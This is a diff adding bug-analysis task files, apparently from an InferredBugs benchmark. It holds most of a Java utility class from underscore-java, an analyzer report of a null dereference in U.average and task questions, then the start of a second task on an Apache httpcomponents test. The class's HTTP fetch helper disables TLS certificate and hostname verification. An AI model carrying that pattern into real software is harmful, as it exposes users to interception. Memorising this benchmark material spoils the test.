+        return first + second;
+    }
+
+    private static Short sum(Short first, Short second) {
+        return (short) (first + second);
+    }
+
+    public static <T extends Number> double mean(final Iterable<T> iterable) {
+        T result = null;
+        int count = 0;
+        for (final T item : iterable) {
+            result = add(result, item);
+            count += 1;
+        }
+        if (result == null) {
+            return 0d;
+        }
+        return result.doubleValue() / count;
+    }
+
+    @SuppressWarnings("unchecked")
+    public double mean() {
+        return mean((Iterable<Number>) getIterable());
+    }
+
+    @SuppressWarnings("unchecked")
+    public static <T extends Number> double median(final Iterable<T> iterable) {
+        final List<T> result = newArrayList((Collection) iterable);
+        final int size = size(iterable);
+        if (size == 0) {
+            throw new IllegalArgumentException("Iterable cannot be empty");
+        }
+        if (size % 2 != 0) {
+            return result.get(size / 2).doubleValue();
+        }
+        return (result.get(size / 2 - 1).doubleValue() + result.get(size / 2).doubleValue()) / 2;
+    }
+
+    @SuppressWarnings("unchecked")
+    public double median() {
+        return median((Iterable<Number>) getIterable());
+    }
+
+    public static String camelCase(final String string) {
+        return createCompounder(new Function3<String, String, Integer, String>() {
+            public String apply(final String result, final String word, final Integer index) {
+                final String localWord = word.toLowerCase(Locale.getDefault());
+                return result + (index > 0 ? word.substring(0, 1).toUpperCase(Locale.getDefault())
+                    + word.substring(1) : localWord);
+            }
+        }).apply(string);
+    }
+
+    public static String lowerFirst(final String string) {
+        return createCaseFirst("toLowerCase").apply(string);
+    }
+
+    public static String upperFirst(final String string) {
+        return createCaseFirst("toUpperCase").apply(string);
+    }
+
+    public static String capitalize(final String string) {
+        return upperFirst(baseToString(string).toLowerCase());
+    }
+
+    public static String uncapitalize(final String string) {
+        return lowerFirst(baseToString(string).toLowerCase());
+    }
+
+    private static String baseToString(String value) {
+        return value == null ? "" : value;
+    }
+
+    public static String deburr(final String string) {
+        final String localString = baseToString(string);
+        final StringBuilder sb = new StringBuilder();
+        for (final String str : localString.split("")) {
+            if (RE_LATIN_1.matcher(str).matches()) {
+                sb.append(DEBURRED_LETTERS.get(str));
+            } else {
+                sb.append(str);
+            }
+        }
+        return sb.toString();
+    }
+
+    public static List<String> words(final String string) {
+        final String localString = baseToString(string);
+        final List<String> result = new ArrayList<String>();
+        final java.util.regex.Matcher matcher = reWords.matcher(localString);
+        while (matcher.find()) {
+            result.add(matcher.group());
+        }
+        return result;
+    }
+
+    private static Function<String, String> createCompounder(
+        final Function3<String, String, Integer, String> callback) {
+        return new Function<String, String>() {
+            public String apply(final String string) {
+                int index = -1;
+                List<String> array = words(deburr(string));
+                int length = array.size();
+                String result = "";
+
+                while (++index < length) {
+                    result = callback.apply(result, array.get(index), index);
+                }
+                return result;
+            }
+        };
+    }
+
+    private static Function<String, String> createCaseFirst(final String methodName) {
+        return new Function<String, String>() {
+            public String apply(final String string) {
+                final String localString = baseToString(string);
+                final String chr = localString.isEmpty() ? "" : localString.substring(0, 1);
+                final String trailing = localString.length() > 1 ? localString.substring(1) : "";
+                return U.invoke(Arrays.asList(chr), methodName).get(0) + trailing;
+            }
+        };
+    }
+
+    public static boolean endsWith(final String string, final String target) {
+        return endsWith(string, target, null);
+    }
+
+    public static boolean endsWith(final String string, final String target, final Integer position) {
+        if (string == null || target == null) {
+            return false;
+        }
+        final String localString = baseToString(string);
+
+        final int length = localString.length();
+        final int fixedPosition = position == null || position < 0 ? 0 : position;
+        final int localPosition = position == null ? length : Math.min(fixedPosition, length);
+
+        final int localPosition2 = localPosition - target.length();
+        return localPosition2 >= 0 && localString.indexOf(target, localPosition2) == localPosition2;
+    }
+
+    public static String kebabCase(final String string) {
+        return createCompounder(new Function3<String, String, Integer, String>() {
+            public String apply(final String result, final String word, final Integer index) {
+                return result + (index > 0 ? "-" : "") + word.toLowerCase(Locale.getDefault());
+            }
+        }).apply(string);
+    }
+
+    public static String repeat(final String string, final int length) {
+        final StringBuilder result = new StringBuilder();
+        final StringBuilder localString = new StringBuilder(baseToString(string));
+        if (length < 1 || string == null) {
+            return result.toString();
+        }
+        int n = length;
+        do {
+            if (n % 2 != 0) {
+                result.append(localString);
+            }
+            n = (int) Math.floor(n / (double) 2);
+            localString.append(localString.toString());
+        } while (n > 0);
+        return result.toString();
+    }
+
+    private static String createPadding(final String string, final int length, final String chars) {
+        final int strLength = string.length();
+        final int padLength = length - strLength;
+        final String localChars = chars == null ? " " : chars;
+        return repeat(localChars, (int) Math.ceil(padLength / (double) localChars.length())).substring(0, padLength);
+    }
+
+    public static String pad(final String string, final int length) {
+        return pad(string, length, null);
+    }
+
+    public static String pad(final String string, final int length, final String chars) {
+        final String localString = baseToString(string);
+        final int strLength = localString.length();
+        if (strLength >= length) {
+            return localString;
+        }
+        final double mid = (length - strLength) / (double) 2;
+        final int leftLength = (int) Math.floor(mid);
+        final int rightLength = (int) Math.ceil(mid);
+        final String localChars = createPadding("", rightLength, chars);
+        return localChars.substring(0, leftLength) + localString + localChars;
+    }
+
+    private static Function3<String, Integer, String, String> createPadDir(final boolean fromRight) {
+        return new Function3<String, Integer, String, String>() {
+            public String apply(String string, Integer length, String chars) {
+                final String localString = baseToString(string);
+                return (fromRight ? localString : "") + createPadding(localString, length, chars)
+                    + (fromRight ? "" : localString);
+            }
+        };
+    }
+
+    public static String padStart(final String string, final Integer length) {
+        return createPadDir(false).apply(string, length, null);
+    }
+
+    public static String padStart(final String string, final Integer length, final String chars) {
+        return createPadDir(false).apply(string, length, chars);
+    }
+
+    public static String padEnd(final String string, final Integer length) {
+        return createPadDir(true).apply(string, length, null);
+    }
+
+    public static String padEnd(final String string, final Integer length, final String chars) {
+        return createPadDir(true).apply(string, length, chars);
+    }
+
+    public static String snakeCase(final String string) {
+        return createCompounder(new Function3<String, String, Integer, String>() {
+            public String apply(final String result, final String word, final Integer index) {
+                return result + (index > 0 ? "_" : "") + word.toLowerCase(Locale.getDefault());
+            }
+        }).apply(string);
+    }
+
+    public static String startCase(final String string) {
+        return createCompounder(new Function3<String, String, Integer, String>() {
+            public String apply(final String result, final String word, final Integer index) {
+                return result + (index > 0 ? " " : "") + word.substring(0, 1).toUpperCase(Locale.getDefault())
+                    + word.substring(1);
+            }
+        }).apply(string);
+    }
+
+    public static boolean startsWith(final String string, final String target) {
+        return startsWith(string, target, null);
+    }
+
+    public static boolean startsWith(final String string, final String target, final Integer position) {
+        if (string == null || target == null) {
+            return false;
+        }
+        final String localString = baseToString(string);
+
+        final int length = localString.length();
+        final int localPosition = position == null ? 0
+            : Math.min(position < 0 ? 0 : position, length);
+
+        return localString.lastIndexOf(target, localPosition) == localPosition;
+    }
+
+    private static int charsLeftIndex(final String string, final String chars) {
+        int index = 0;
+        final int length = string.length();
+        while (index < length && chars.indexOf(string.charAt(index)) > -1) {
+            index += 1;
+        }
+        return index == length ? -1 : index;
+    }
+
+    private static int charsRightIndex(final String string, final String chars) {
+        int index = string.length() - 1;
+        while (index >= 0 && chars.indexOf(string.charAt(index)) > -1) {
+            index -= 1;
+        }
+        return index;
+    }
+
+    public static String trim(final String string) {
+        return trim(string, null);
+    }
+
+    public static String trim(final String string, final String chars) {
+        final String localString = baseToString(string);
+        if (localString.isEmpty()) {
+            return localString;
+        }
+        final String localChars;
+        if (chars == null) {
+            localChars = " ";
+        } else {
+            localChars = chars;
+        }
+        final int leftIndex = charsLeftIndex(localString, localChars);
+        final int rightIndex = charsRightIndex(localString, localChars);
+        return leftIndex > -1 ? localString.substring(leftIndex, rightIndex + 1) : localString;
+    }
+
+    public static String trimStart(final String string) {
+        return trimStart(string, null);
+    }
+
+    public static String trimStart(final String string, final String chars) {
+        final String localString = baseToString(string);
+        if (localString.isEmpty()) {
+            return localString;
+        }
+        final String localChars;
+        if (chars == null) {
+            localChars = " ";
+        } else {
+            localChars = chars;
+        }
+        final int leftIndex = charsLeftIndex(localString, localChars);
+        return leftIndex > -1 ? localString.substring(leftIndex, localString.length()) : localString;
+    }
+
+    public static String trimEnd(final String string) {
+        return trimEnd(string, null);
+    }
+
+    public static String trimEnd(final String string, final String chars) {
+        final String localString = baseToString(string);
+        if (localString.isEmpty()) {
+            return localString;
+        }
+        final String localChars;
+        if (chars == null) {
+            localChars = " ";
+        } else {
+            localChars = chars;
+        }
+        final int rightIndex = charsRightIndex(localString, localChars);
+        return rightIndex > -1 ? localString.substring(0, rightIndex + 1) : localString;
+    }
+
+    public static String trunc(final String string) {
+        return trunc(string, DEFAULT_TRUNC_LENGTH);
+    }
+
+    public static String trunc(final String string, final Integer length) {
+        final String localString = baseToString(string);
+        final String omission = DEFAULT_TRUNC_OMISSION;
+        if (length >= localString.length()) {
+            return localString;
+        }
+        final int end = length - omission.length();
+        final String result = localString.substring(0, end);
+        return result + omission;
+    }
+
+    public static List<String> stringToPath(final String string) {
+        final List<String> result = new ArrayList<String>();
+        final java.util.regex.Matcher matcher = RE_PROP_NAME.matcher(baseToString(string));
+        while (matcher.find()) {
+            result.add(matcher.group(1) == null ? matcher.group(0) : matcher.group(1));
+        }
+        return result;
+    }
+
+    @SuppressWarnings("unchecked")
+    private static <T> T baseGet(final Map<String, Object> object, final String path) {
+        final List<String> paths = stringToPath(path);
+        int index = 0;
+        final int length = paths.size();
+
+        Object localObject = object;
+        while (localObject != null && index < length) {
+            if (localObject instanceof Map) {
+                Map.Entry mapEntry = getMapEntry((Map) localObject);
+                if (mapEntry != null && "#item".equals(mapEntry.getKey())) {
+                    localObject = mapEntry.getValue();
+                    continue;
+                }
+                localObject = ((Map) localObject).get(paths.get(index));
+            } else if (localObject instanceof List) {
+                localObject = ((List) localObject).get(Integer.parseInt(paths.get(index)));
+            } else {
+                break;
+            }
+            index += 1;
+        }
+        if (index > 0 && index == length) {
+            return (T) localObject;
+        }
+        return null;
+    }
+
+    private static Map.Entry getMapEntry(Map map) {
+        return map.isEmpty() ? null : (Map.Entry) map.entrySet().iterator().next();
+    }
+
+    public static <T> T get(final Map<String, Object> object, final String path) {
+        return baseGet(object, path);
+    }
+
+    public static class FetchResponse {
+        private final boolean ok;
+        private final int status;
+        private final Map<String, List<String>> headerFields;
+        private final java.io.ByteArrayOutputStream stream;
+
+        public FetchResponse(final boolean ok, final int status, final Map<String, List<String>> headerFields,
+            final java.io.ByteArrayOutputStream stream) {
+            this.ok = ok;
+            this.status = status;
+            this.stream = stream;
+            this.headerFields = headerFields;
+        }
+
+        public boolean isOk() {
+            return ok;
+        }
+
+        public int getStatus() {
+            return status;
+        }
+
+        public Map<String, List<String>> getHeaderFields() {
+            return headerFields;
+        }
+
+        public byte[] blob() {
+            return stream.toByteArray();
+        }
+
+        public String text() {
+            try {
+                return stream.toString("UTF-8");
+            } catch (java.io.UnsupportedEncodingException ex) {
+                throw new UnsupportedOperationException(ex);
+            }
+        }
+
+        public Object json() {
+            return Json.fromJson(text());
+        }
+
+        public Object xml() {
+            return Xml.fromXml(text());
+        }
+    }
+
+    public static FetchResponse fetch(final String url) {
+        return fetch(url, null, null, DEFAULT_HEADER_FIELDS, null, null);
+    }
+
+    public static FetchResponse fetch(final String url, final Integer connectTimeout, final Integer readTimeout) {
+        return fetch(url, null, null, DEFAULT_HEADER_FIELDS, connectTimeout, readTimeout);
+    }
+
+    public static FetchResponse fetch(final String url, final String method, final String body) {
+        return fetch(url, method, body, DEFAULT_HEADER_FIELDS, null, null);
+    }
+
+    private static class BaseHttpSslSocketFactory extends javax.net.ssl.SSLSocketFactory {
+        private javax.net.ssl.SSLContext getSslContext() {
+            return createEasySslContext();
+        }
+
+        @Override
+        public java.net.Socket createSocket(java.net.InetAddress arg0, int arg1, java.net.InetAddress arg2,
+                        int arg3) throws java.io.IOException {
+            return getSslContext().getSocketFactory().createSocket(arg0, arg1,
+                                arg2, arg3);
+        }
+
+        @Override
+        public java.net.Socket createSocket(String arg0, int arg1, java.net.InetAddress arg2, int arg3)
+                throws java.io.IOException {
+            return getSslContext().getSocketFactory().createSocket(arg0, arg1,
+                    arg2, arg3);
+        }
+
+        @Override
+        public java.net.Socket createSocket(java.net.InetAddress arg0, int arg1) throws java.io.IOException {
+            return getSslContext().getSocketFactory().createSocket(arg0, arg1);
+        }
+
+        @Override
+        public java.net.Socket createSocket(String arg0, int arg1) throws java.io.IOException {
+            return getSslContext().getSocketFactory().createSocket(arg0, arg1);
+        }
+
+        @Override
+        public String[] getSupportedCipherSuites() {
+            return new String[]{};
+        }
+
+        @Override
+        public String[] getDefaultCipherSuites() {
+            return new String[]{};
+        }
+
+        @Override
+        public java.net.Socket createSocket(java.net.Socket arg0, String arg1, int arg2, boolean arg3)
+                throws java.io.IOException {
+            return getSslContext().getSocketFactory().createSocket(arg0, arg1,
+                    arg2, arg3);
+        }
+
+        private javax.net.ssl.SSLContext createEasySslContext() {
+            try {
+                javax.net.ssl.SSLContext context = javax.net.ssl.SSLContext.getInstance("SSL");
+                context.init(null, new javax.net.ssl.TrustManager[] { MyX509TrustManager.manger }, null);
+                return context;
+            } catch (Exception ex) {
+                throw new UnsupportedOperationException(ex);
+            }
+        }
+
+        public static class MyX509TrustManager implements javax.net.ssl.X509TrustManager {
+
+            static MyX509TrustManager manger = new MyX509TrustManager();
+
+            public MyX509TrustManager() {
+            }
+
+            public java.security.cert.X509Certificate[] getAcceptedIssuers() {
+                return new java.security.cert.X509Certificate[]{};
+            }
+
+            public void checkClientTrusted(java.security.cert.X509Certificate[] chain, String authType) {
+            }
+
+            public void checkServerTrusted(java.security.cert.X509Certificate[] chain, String authType) {
+            }
+        }
+    }
+
+    static class NoHostnameVerifier implements javax.net.ssl.HostnameVerifier {
+        public boolean verify(String hostname, javax.net.ssl.SSLSession session) {
+            return true;
+        }
+    }
+
+    private static void setupConnection(final java.net.HttpURLConnection connection, final String method,
+        final Map<String, List<String>> headerFields, final Integer connectTimeout, final Integer readTimeout)
+        throws java.io.IOException {
+        final String localMethod;
+        if (SUPPORTED_HTTP_METHODS.contains(method)) {
+            localMethod = method;
+        } else {
+            localMethod = "GET";
+        }
+        connection.setRequestMethod(localMethod);
+        if (connectTimeout != null) {
+            connection.setConnectTimeout(connectTimeout);
+        }
+        if (readTimeout != null) {
+            connection.setReadTimeout(readTimeout);
+        }
+        if (connection instanceof javax.net.ssl.HttpsURLConnection) {
+            ((javax.net.ssl.HttpsURLConnection) connection).setSSLSocketFactory(new BaseHttpSslSocketFactory());
+            ((javax.net.ssl.HttpsURLConnection) connection).setHostnameVerifier(new NoHostnameVerifier());
+        }
+        if (headerFields != null) {
+            for (final Map.Entry<String, List<String>> header : headerFields.entrySet()) {
+                connection.setRequestProperty(header.getKey(), join(header.getValue(), ";"));
+            }
+        }
+    }
+
+    public static FetchResponse fetch(final String url, final String method, final String body,
+        final Map<String, List<String>> headerFields, final Integer connectTimeout, final Integer readTimeout) {
+        try {
+            final java.net.URL localUrl = new java.net.URL(url);
+            final java.net.HttpURLConnection connection = (java.net.HttpURLConnection) localUrl.openConnection();
+            setupConnection(connection, method, headerFields, connectTimeout, readTimeout);
+            if (body != null) {
+                connection.setDoOutput(true);
+                final java.io.DataOutputStream outputStream =
+                    new java.io.DataOutputStream(connection.getOutputStream());
+                outputStream.writeBytes(body);
+                outputStream.close();
+            }
+            final int responseCode = connection.getResponseCode();
+            final java.io.InputStream inputStream;
+            if (responseCode < RESPONSE_CODE_400) {
+                inputStream = connection.getInputStream();
+            } else {
+                inputStream = connection.getErrorStream();
+            }
+            final java.io.ByteArrayOutputStream result = new java.io.ByteArrayOutputStream();
+            final byte[] buffer = new byte[BUFFER_LENGTH_1024];
+            int length;
+            while ((length = inputStream.read(buffer)) != -1) {
+                result.write(buffer, 0, length);
+            }
+            inputStream.close();
+            return new FetchResponse(responseCode < RESPONSE_CODE_400, responseCode, connection.getHeaderFields(),
+                result);
+        } catch (java.io.IOException ex) {
+            throw new UnsupportedOperationException(ex);
+        }
+    }
+
+    public static List<String> explode(final String input) {
+        List<String> result = newArrayList();
+        if (isNull(input)) {
+            return result;
+        }
+        for (char character : input.toCharArray()) {
+            result.add(String.valueOf(character));
+        }
+        return result;
+    }
+
+    public static String implode(final String[] input) {
+        StringBuilder builder = new StringBuilder();
+        for (String character : input) {
+            if (nonNull(character)) {
+                builder.append(character);
+            }
+        }
+        return builder.toString();
+    }
+
+    public static String implode(final Iterable<String> input) {
+        StringBuilder builder = new StringBuilder();
+        for (String character: input) {
+            if (nonNull(character)) {
+                builder.append(character);
+            }
+        }
+        return builder.toString();
+    }
+
+    public String camelCase() {
+        return camelCase(getString().get());
+    }
+
+    public String lowerFirst() {
+        return lowerFirst(getString().get());
+    }
+
+    public String upperFirst() {
+        return upperFirst(getString().get());
+    }
+
+    public String capitalize() {
+        return capitalize(getString().get());
+    }
+
+    public String deburr() {
+        return deburr(getString().get());
+    }
+
+    public boolean endsWith(final String target) {
+        return endsWith(getString().get(), target);
+    }
+
+    public boolean endsWith(final String target, final Integer position) {
+        return endsWith(getString().get(), target, position);
+    }
+
+    public String kebabCase() {
+        return kebabCase(getString().get());
+    }
+
+    public String repeat(final int length) {
+        return repeat(getString().get(), length);
+    }
+
+    public String pad(final int length) {
+        return pad(getString().get(), length);
+    }
+
+    public String pad(final int length, final String chars) {
+        return pad(getString().get(), length, chars);
+    }
+
+    public String padStart(final int length) {
+        return padStart(getString().get(), length);
+    }
+
+    public String padStart(final int length, final String chars) {
+        return padStart(getString().get(), length, chars);
+    }
+
+    public String padEnd(final int length) {
+        return padEnd(getString().get(), length);
+    }
+
+    public String padEnd(final int length, final String chars) {
+        return padEnd(getString().get(), length, chars);
+    }
+
+    public String snakeCase() {
+        return snakeCase(getString().get());
+    }
+
+    public String startCase() {
+        return startCase(getString().get());
+    }
+
+    public boolean startsWith(final String target) {
+        return startsWith(getString().get(), target);
+    }
+
+    public boolean startsWith(final String target, final Integer position) {
+        return startsWith(getString().get(), target, position);
+    }
+
+    public String trim() {
+        return trim(getString().get());
+    }
+
+    public String trimWith(final String chars) {
+        return trim(getString().get(), chars);
+    }
+
+    public String trimStart() {
+        return trimStart(getString().get());
+    }
+
+    public String trimStartWith(final String chars) {
+        return trimStart(getString().get(), chars);
+    }
+
+    public String trimEnd() {
+        return trimEnd(getString().get());
+    }
+
+    public String trimEndWith(final String chars) {
+        return trimEnd(getString().get(), chars);
+    }
+
+    public String trunc() {
+        return trunc(getString().get());
+    }
+
+    public String trunc(final int length) {
+        return trunc(getString().get(), length);
+    }
+
+    public String uncapitalize() {
+        return uncapitalize(getString().get());
+    }
+
+    public List<String> words() {
+        return words(getString().get());
+    }
+
+    public static class LruCache<K, V> {
+        private static final boolean SORT_BY_ACCESS = true;
+        private static final float LOAD_FACTOR = 0.75F;
+        private final Map<K, V> lruCacheMap;
+        private final int capacity;
+
+        public LruCache(int capacity) {
+            this.capacity = capacity;
+            this.lruCacheMap = new LinkedHashMap<K, V>(capacity, LOAD_FACTOR, SORT_BY_ACCESS);
+        }
+
+        public V get(K key) {
+            return lruCacheMap.get(key);
+        }
+
+        public void put(K key, V value) {
+            if (lruCacheMap.containsKey(key)) {
+                lruCacheMap.remove(key);
+            } else if (lruCacheMap.size() >= capacity) {
+                lruCacheMap.remove(lruCacheMap.keySet().iterator().next());
+            }
+            lruCacheMap.put(key, value);
+        }
+    }
+
+    public static <K, V> LruCache<K, V> createLruCache(final int capacity) {
+        return new LruCache<K, V>(capacity);
+    }
+
+    public static <T> List<List<T>> createPermutationWithRepetition(final List<T> list, final int permutationLength) {
+        final long resultSize = (long) Math.pow(list.size(), permutationLength);
+        final List<List<T>> result = new ArrayList<List<T>>((int) resultSize);
+        final int[] bitVector = new int[permutationLength];
+        for (int index = 0; index < resultSize; index += 1) {
+            List<T> result2 = new ArrayList<T>(permutationLength);
+            for (int index2 = 0; index2 < permutationLength; index2 += 1) {
+                result2.add(list.get(bitVector[index2]));
+            }
+            int index3 = 0;
+            while (index3 < permutationLength && bitVector[index3] == list.size() - 1) {
+                bitVector[index3] = 0;
+                index3 += 1;
+            }
+            if (index3 < permutationLength) {
+                bitVector[index3] += 1;
+            }
+            result.add(result2);
+        }
+        return result;
+    }
+
+    public static class Status {
+        private final int key;
+        private final int x;
+        private final int y;
+        public Status(int key, int x, int y) {
+            this.key = key;
+            this.x = x;
+            this.y = y;
+        }
+        public int getKey() {
+            return key;
+        }
+        public int getX() {
+            return x;
+        }
+        public int getY() {
+            return y;
+        }
+    }
+
+    public static List<Status> shortestPathAllKeys(String[] grid) {
+        int success = 0;
+        int startI = 0;
+        int startJ = 0;
+        int rows = grid.length;
+        int cols = grid[0].length();
+        List<Status> result = newArrayList();
+        for (int i = 0; i < rows; i++) {
+            for (int j = 0; j < cols; j++) {
+                char c = grid[i].charAt(j);
+                if (c >= 'A' && c <= 'F') {
+                    success |= 1 << (c - 'A');
+                }
+                if (c == '@') {
+                    startI = i;
+                    startJ = j;
+                }
+            }
+        }
+        int[][][] dist = new int[1 << 6][rows][cols];
+        for (int i = 0; i < dist.length; i++) {
+            for (int j = 0; j < dist[0].length; j++) {
+                for (int k = 0; k < dist[0][0].length; k++) {
+                    dist[i][j][k] = Integer.MAX_VALUE;
+                }
+            }
+        }
+        Queue<Status> queue = new LinkedList<Status>();
+        queue.offer(new Status(0, startI, startJ));
+        dist[0][startI][startJ] = 0;
+        return scanDirs(queue, success, result, rows, cols, grid, dist);
+    }
+
+    private static List<Status> scanDirs(Queue<Status> queue, int success, List<Status> result,
+            int rows, int cols, String[] grid, int[][][] dist) {
+        int path = 0;
+        int[][] dirs = {{-1, 0}, {0, 1}, {1, 0}, {0, -1}};
+        while (!queue.isEmpty()) {
+            int size = queue.size();
+            while (size-- > 0) {
+                Status status = queue.poll();
+                int key = status.getKey();
+                int x = status.getX();
+                int y = status.getY();
+                if (key == success) {
+                    return result;
+                }
+                for (int[] dir : dirs) {
+                    int xx = x + dir[0];
+                    int yy = y + dir[1];
+                    if (xx >= 0 && xx < rows && yy >= 0 && yy < cols && grid[xx].charAt(yy) != '#') {
+                        int nextKey = key;
+                        char c = grid[xx].charAt(yy);
+                        if (c >= 'a' && c <= 'f') {
+                            nextKey = key | (1 << (c - 'a'));
+                        }
+                        if (c >= 'A' && c <= 'F' && (nextKey & (1 << (c - 'A'))) == 0) {
+                            continue;
+                        }
+                        if (path + 1 < dist[nextKey][xx][yy]) {
+                            dist[nextKey][xx][yy] = path + 1;
+                            queue.offer(new Status(nextKey, xx, yy));
+                        }
+                    }
+                }
+            }
+            path++;
+            if (!queue.isEmpty()) {
+                result.add(queue.element());
+            }
+        }
+        return result;
+    }
+
+    public List<List<T>> createPermutationWithRepetition(final int permutationLength) {
+        return createPermutationWithRepetition((List<T>) value(), permutationLength);
+    }
+
+    protected static <T> List<T> newArrayList() {
+        return com.github.underscore.U.newArrayList();
+    }
+
+    protected static <T> List<T> newArrayList(final Iterable<T> iterable) {
+        return com.github.underscore.U.newArrayList(iterable);
+    }
+
+    protected static <T> Set<T> newLinkedHashSet() {
+        return com.github.underscore.U.newLinkedHashSet();
+    }
+
+    protected static <K, E> Map<K, E> newLinkedHashMap() {
+        return com.github.underscore.U.newLinkedHashMap();
+    }
+
+    public static String toJson(Collection collection) {
+        return Json.toJson(collection);
+    }
+
+    public static String toJson(Map map) {
+        return Json.toJson(map);
+    }
+
+    public String toJson() {
+        return Json.toJson((Collection) getIterable());
+    }
+
+    public static String toJsonJavaString(Collection collection) {
+        return Json.toJsonJavaString(collection);
+    }
+
+    public static String toJsonJavaString(Map map) {
+        return Json.toJsonJavaString(map);
+    }
+
+    public String toJsonJavaString() {
+        return Json.toJsonJavaString((Collection) getIterable());
+    }
+
+    public static Object fromXml(final String xml) {
+        return Xml.fromXml(xml);
+    }
+
+    public static Object fromXml(final String xml, final Xml.FromType fromType) {
+        return Xml.fromXml(xml, fromType);
+    }
+
+    public static Object fromXmlMakeArrays(final String xml) {
+        return Xml.fromXmlMakeArrays(xml);
+    }
+
+    public static Object fromXmlWithoutNamespaces(final String xml) {
+        return Xml.fromXmlWithoutNamespaces(xml);
+    }
+
+    public static Object fromXmlWithoutAttributes(final String xml) {
+        return Xml.fromXmlWithoutAttributes(xml);
+    }
+
+    public static Object fromXmlWithoutNamespacesAndAttributes(final String xml) {
+        return Xml.fromXmlWithoutNamespacesAndAttributes(xml);
+    }
+
+    public static String toXml(Collection collection) {
+        return Xml.toXml(collection);
+    }
+
+    public static String toXml(Map map) {
+        return Xml.toXml(map);
+    }
+
+    public static Object fromJson(String string) {
+        return Json.fromJson(string);
+    }
+
+    public Object fromJson() {
+        return Json.fromJson(getString().get());
+    }
+
+    public String toXml() {
+        return Xml.toXml((Collection) getIterable());
+    }
+
+    public Object fromXml() {
+        return Xml.fromXml(getString().get());
+    }
+
+    public static String jsonToXml(String json, Xml.XmlStringBuilder.Step identStep) {
+        Object result = Json.fromJson(json);
+        if (result instanceof Map) {
+            return Xml.toXml((Map) result, identStep);
+        }
+        return Xml.toXml((List) result, identStep);
+    }
+
+    public static String jsonToXml(String json) {
+        return jsonToXml(json, Xml.XmlStringBuilder.Step.TWO_SPACES);
+    }
+
+    public static String xmlToJson(String xml, Json.JsonStringBuilder.Step identStep) {
+        Object result = Xml.fromXml(xml);
+        if (result instanceof Map) {
+            return Json.toJson((Map) result, identStep);
+        }
+        return Json.toJson((List) result, identStep);
+    }
+
+    public static String xmlToJson(String xml) {
+        return xmlToJson(xml, Json.JsonStringBuilder.Step.TWO_SPACES);
+    }
+
+    public static String formatJson(String json, Json.JsonStringBuilder.Step identStep) {
+        return Json.formatJson(json, identStep);
+    }
+
+    public static String formatJson(String json) {
+        return Json.formatJson(json);
+    }
+
+    public static String formatXml(String xml, Xml.XmlStringBuilder.Step identStep) {
+        return Xml.formatXml(xml, identStep);
+    }
+
+    public static String formatXml(String xml) {
+        return Xml.formatXml(xml);
+    }
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+NULL_DEREFERENCE
+
+### Qualifier:
+object `sum` last assigned on line 957 could be null and is dereferenced at line 958.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+Double U.average(Iterable,Function)
+
+### Procedure Id:
+com.github.underscore.lodash.U.average(java.lang.Iterable,com.github.underscore.Function):java.lang..4d2c3af107c47c17434bdfa92d45f2b0
+
+### File:
+src/main/java/com/github/underscore/lodash/U.java
+
+### Key:
+U.java|average|NULL_DEREFERENCE
+
+### Node Key:
+98e48d8af36063b905de6168fc1ae17c
+
+### Hash:
+023df2e7d69e7d0e5543d4ee70d2cfe1
+
+### Bug Type Hum:
+Null Dereference
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-4198/instruction.md b/inferredbugs-4198/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..4dbccfab0080ca3c0244181c56d76bfc4facf4d0
--- /dev/null
+++ b/inferredbugs-4198/instruction.md
@@ -0,0 +1,524 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** httpcomponents-core
+**Bug ID:** 50
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+/*
+ * ====================================================================
+ * Licensed to the Apache Software Foundation (ASF) under one
+ * or more contributor license agreements.  See the NOTICE file
+ * distributed with this work for additional information
+ * regarding copyright ownership.  The ASF licenses this file
+ * to you under the Apache License, Version 2.0 (the
+ * "License"); you may not use this file except in compliance
+ * with the License.  You may obtain a copy of the License at
+ *
+ *   http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing,
+ * software distributed under the License is distributed on an
+ * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
+ * KIND, either express or implied.  See the License for the
+ * specific language governing permissions and limitations
+ * under the License.
+ * ====================================================================
+ *
+ * This software consists of voluntary contributions made by many
+ * individuals on behalf of the Apache Software Foundation.  For more
+ * information on the Apache Software Foundation, please see
+ * <http://www.apache.org/>.
+ *
+ */
+
+package org.apache.http.impl.nio.codecs;
+
+import java.io.IOException;
+import java.nio.ByteBuffer;
+import java.nio.channels.ReadableByteChannel;
+
+import org.apache.http.Header;
+import org.apache.http.MalformedChunkCodingException;
+import org.apache.http.ReadableByteChannelMockup;
+import org.apache.http.impl.io.HttpTransportMetricsImpl;
+import org.apache.http.impl.nio.reactor.SessionInputBufferImpl;
+import org.apache.http.nio.reactor.SessionInputBuffer;
+import org.apache.http.params.BasicHttpParams;
+import org.apache.http.params.HttpParams;
+import org.junit.Assert;
+import org.junit.Test;
+
+/**
+ * Simple tests for {@link ChunkDecoder}.
+ */
+public class TestChunkDecoder {
+
+    private static String convert(final ByteBuffer src) {
+        src.flip();
+        StringBuilder buffer = new StringBuilder(src.remaining());
+        while (src.hasRemaining()) {
+            buffer.append((char)(src.get() & 0xff));
+        }
+        return buffer.toString();
+    }
+
+    @Test
+    public void testBasicDecoding() throws Exception {
+        String s = "5\r\n01234\r\n5\r\n56789\r\n6\r\nabcdef\r\n0\r\n\r\n";
+        ReadableByteChannel channel = new ReadableByteChannelMockup(
+                new String[] {s}, "US-ASCII");
+        HttpParams params = new BasicHttpParams();
+
+        SessionInputBuffer inbuf = new SessionInputBufferImpl(1024, 256, params);
+        HttpTransportMetricsImpl metrics = new HttpTransportMetricsImpl();
